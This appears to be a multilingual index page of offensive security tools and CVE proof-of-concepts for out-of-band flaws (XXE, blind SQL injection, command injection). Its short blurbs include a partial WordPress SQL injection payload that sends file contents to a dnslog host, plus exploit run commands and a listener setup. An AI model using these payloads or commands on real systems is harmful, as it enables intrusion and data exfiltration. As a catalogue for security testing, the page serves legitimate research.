XOE

XOE XXE आउट-ऑफ़-बैंड भेद्यता का आसानी से शोषण करें विवरण यह उपकरण एक xml फ़ाइल बनाता है जिसमें आपके द्वारा दर्ज किया गया ip और पोर्ट होता है और प्रतिक्रिया के लिए कनेक्शन सुनता है :D स्क्रीनशॉट...

wordpress-CVE-2022-21661

wordpress-CVE-2022-21661 versão5.8.3 caminho: http://your target/wp-admin/admin-ajax.php O tipo de injeção é out-of-band, você precisa especificar o dnslog você mesmo e substituir ceye.io POST- DADOS："taxquery":"field":"termtaxonomyid","terms":"1 and ifselect loadfileconcat'\',select...

dnsobserver

مراقب DNS خدمة DNS مفيدة مكتوبة بلغة Go للمساعدة في اكتشاف عدة أنواع من الثغرات العمياء. تقوم بمراقبة خادم المختبر الاختراقي للتفاعلات DNS خارج النطاق وتُرسل إشعارات بتفاصيل الطلب المستلم عبر Slack. يمكن لـ DNSObserver مساعدتك في العثور على أخطاء مثل حقن الأوامر العمياء، وحقن SQL الأعمى، وحقن XML...

sqlmap

sqlmap sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switche...

sqlmap

sqlmap sqlmap é uma ferramenta de teste de intrusão, de código aberto, que automatiza o processo de detecção e exploração de falhas de injeção SQL. Com essa ferramenta é possível assumir total controle de servidores de banco de dados em páginas web vulneráveis, inclusive de base de dados fora do...

POC-CVE-2025-54988

CVE-2025-54988 - POC Avertissement : Je ne suis pas le découvreur original de cette vulnérabilité. Ce post documente mon processus de reproduction du problème dans un environnement contrôlé à des fins éducatives et pour aider d'autres à valider leurs propres systèmes. Les tests ont été menés dans...

XXEinjector

XXEinjector XXEinjector는 직접 및 대역 외 방식을 사용하여 파일 검색을 자동화합니다. 디렉터리 목록은 Java 애플리케이션에서만 작동합니다. 다른 애플리케이션의 경우 무차별 대입 방식을 사용해야 합니다. 옵션: root@kitploit: --host 필수 - 역방향 연결을 위한 우리의 IP 주소. --host=192.168.0.2 --file 필수 - XML이 포함된 유효한 HTTP 요청이 들어 있는 파일. DTD가 삽입되어야 할 지점을 "XXEINJECT"로 표시할 수도 있습니다...

w3af

sqlmap sqlmap é uma ferramenta de teste de penetração de código aberto que automatiza o processo de detecção e exploração de falhas de injeção SQL. Com essa ferramenta é possível assumir total controle de servidores de banco de dados em páginas web vulneráveis, inclusive de base de dados fora do...

RaspAP <=2.6.5 - Remote Command Injection

RaspAP 2.6 to 2.6.5 allows unauthenticated attackers to execute arbitrary OS commands via the "iface" GET parameter in /ajax/networking/getnetcfg.php, when the "iface" parameter value contains special characters such as ";". id: CVE-2021-33357 info: name: RaspAP =2.6.5 - Remote Command Injection...

TimeKeeper by FSMLabs - Remote Code Execution

An issue was discovered in FSMLabs TimeKeeper 8.0.17 through 8.0.28. By intercepting requests from various timekeeper streams, it is possible to find the getsamplebacklog call. Some query parameters are passed directly in the URL and named argx, with x an integer starting from 1; it is possible t...

Grassmarlin-CVE-2026-6807-XXE-POC

这是基于 CISA 于 2026 年 4 月 28 日披露的 Grassmarlin 中一个已报告漏洞的功能性概念验证代码。 查看 Grassmarlin 的代码后，我确定可能的脆弱参数与打开已保存会话时摄入的 XML 文件有关。通过构造恶意请求，我发现可以在 Grassmarlin 的消息控制台中诱发一个错误。该错误的原因和内容已从 Grassmarlin 的所有日志和输出中适当剥离。 然而，通过引用 DTD 中的外部主机，可以实现任意文件的 OOB 外泄。确实存在一些限制：系统上不能使用较新版本的 Java，这意味着 Grassmarlin 必须使用安装程序中捆绑的 Java...

CVE-2022-42889-POC

CVE-2022-42889-POC Uma aplicação de demonstração simples que mostra como explorar a vulnerabilidade CVE-2022-42889. Utiliza serviços OOB Out of Band para demonstrar os prefixos dns e url. JavaDocs para interpolação commons-text commons-text JavaDocs Exemplos de interpolações script:javascript...

CVE-2025-32375

कमजोर संस्करण के लिए सेटअप। कमजोर कंटेनर शुरू करें: root@kitploit: docker compose up एक लिसनर बनाएं उदा. ncat: root@kitploit: ncat -klnv 1337 एक्सप्लॉइट चलाएं: root@kitploit: python3 exploit.py यदि सब कुछ अपेक्षित रूप से काम करता है, तो आपको ncat विंडो में OS कमांड डिफ़ॉल्ट रूप से id की सामग्री क...

CVE-2025-25198-PoC

CVE-2025-25198-PoC Proof-of-concept for CVE-2025-25198 एक Host header poisoning समस्या है जो Mailcow password reset flows को प्रभावित करती है। स्क्रिप्ट पोर्ट 443 पर एक स्थानीय HTTPS लिसनर शुरू करती है, स्वचालित रूप से एक वैध CSRF टोकन प्राप्त करती है, दूषित Host हेडर के साथ पासवर्ड रीसेट अनुक्रम...

WSUS-RCE-Mitigation-59287

🚨 ALERTE CRITIQUE EN CYBERSÉCURITÉ : RCE sur WSUS CVE-2025-59287 🚨 CRÉATEUR ET CRÉDITS : @esteban11121 Ce guide a été élaboré pour aider la communauté à atténuer rapidement la vulnérabilité. STATUT : Exploitation Active In-the-Wild Confirmée. Il s'agit d'une vulnérabilité d'Exécution de Code à...

cve-2022-33891

cve-2022-33891 उपयोग: root@kitploit: pip3 install requests If you do not use the -d parameter, the dnslog domain name will be automatically applied for you. 如果你不使用-d参数，则会自动为您申请dnslog域名。 python3 cve202233891poc.py -u http://127.0.0.1 python3 cve202233891poc.py -f url.txt python3 cve202233891poc.py...

mole

Mole Um framework para identificar e explorar vulnerabilidades fora de banda OOB. Instalação e Configuração Instalação do Mole Python = 3.6 virtualenv -p /usr/bin/python3 venv source venv/bin/activate ./venv/bin/pip3 install -r requirements.txt git submodule update --init --recursive Defina uma...

CVE-2021-3262

CVE-2021-3262 TripSpark VEO Transportation / NovusEDU의 SQL 인젝션 TripSpark VEO Transportation에 포함된 공용 "Student Busing Information" 조회 페이지는 인증되지 않은 POST 본문 입력을 받아 매개변수화 또는 서버 측 검증 없이 SQL Server 쿼리에 직접 연결합니다. editOEN 매개변수학생 번호 필드에 인젝션이 가능합니다. 인젝션은 블라인드 방식입니다: 애플리케이션이 데이터베이스 오류를 반환하지 않고 읽을 만한 차별적 콘텐츠도...

RMASmoke

RMASmoke Uma ferramenta para desabilitar o Write-Protect usando uma escrita fora dos limites no TPM2 COMPILAÇÃO Verifique BUILDING.MD;...

CVE-2025-7766

CVE-2025-7766 Exploit PoC PoC per sfruttare la vulnerabilità XML External Entity in CVE-2025-7766. Dimostra la lettura di file /etc/passwd e callback HTTP out-of-band. Autore : Byte Reaper CVE : CVE-2025-7766 Vulnerabilità : Esecuzione Remota di Codice tramite XML External Entity XXE PoC per...